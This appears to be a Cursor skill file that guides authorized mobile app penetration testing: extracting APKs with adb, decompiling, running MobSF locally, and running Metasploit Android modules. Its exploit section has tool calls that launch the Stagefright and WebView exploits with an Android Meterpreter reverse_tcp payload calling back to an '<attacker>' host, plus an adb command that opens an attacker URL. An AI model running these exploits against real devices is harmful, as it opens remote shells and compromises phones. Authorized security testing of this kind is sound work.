metasploit-cursor-harness: Skill for Cursor

Mobile Pentest

Prerequisites

• Mobile app targets are explicitly in engagement ROE.
• Web API backing mobile apps: also load web-app-pentest.
• Use lab devices or authorized test builds; do not upload client APKs to untrusted online analyzers.

Workflow

Task Progress:
- [ ] Obtain app binary or test build (APK/IPA)
- [ ] Static analysis (manifest, hardcoded secrets, exported components)
- [ ] Dynamic analysis (proxy, cert pinning bypass if authorized)
- [ ] Test backend API with web-app-pentest techniques
- [ ] Document findings with platform, version, and device model

APK acquisition

MSF: No direct module; use CLI.

CLI fallback:

adb devices
adb shell pm list packages | grep keyword
adb shell pm path com.example.app
adb pull /data/app/com.example.app/base.apk

Static analysis

Decompile with apktool and jadx

MSF: No direct module; use CLI.

CLI fallback:

apktool d application.apk -o decompiled/
jadx application.apk -d jadx_out/
jadx-gui application.apk

Review: AndroidManifest.xml, strings.xml, native libs under lib/<arch>/.

MobSF (local Docker)

MSF: No direct module; use CLI.

CLI fallback:

docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# Upload APK at http://localhost:8000

Android MSF modules

Stagefright / browser vectors (legacy devices)

MSF MCP (preferred):

msf_search_modules(query="android")
msf_module_check(
  module_name="exploit/android/browser/stagefright_mp4_tx3g_64bit",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "URIPATH": "/test.mp4"}
)
msf_run_exploit(
  module_name="exploit/android/browser/webview_addjavascriptinterface",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "PAYLOAD": "android/meterpreter/reverse_tcp", "LHOST": "<attacker>", "LPORT": 4444}
)

CLI fallback:

# Most modern Android testing is Frida/proxy-based, not MSF exploit
adb shell am start -a android.intent.action.VIEW -d "http://attacker/test.mp4"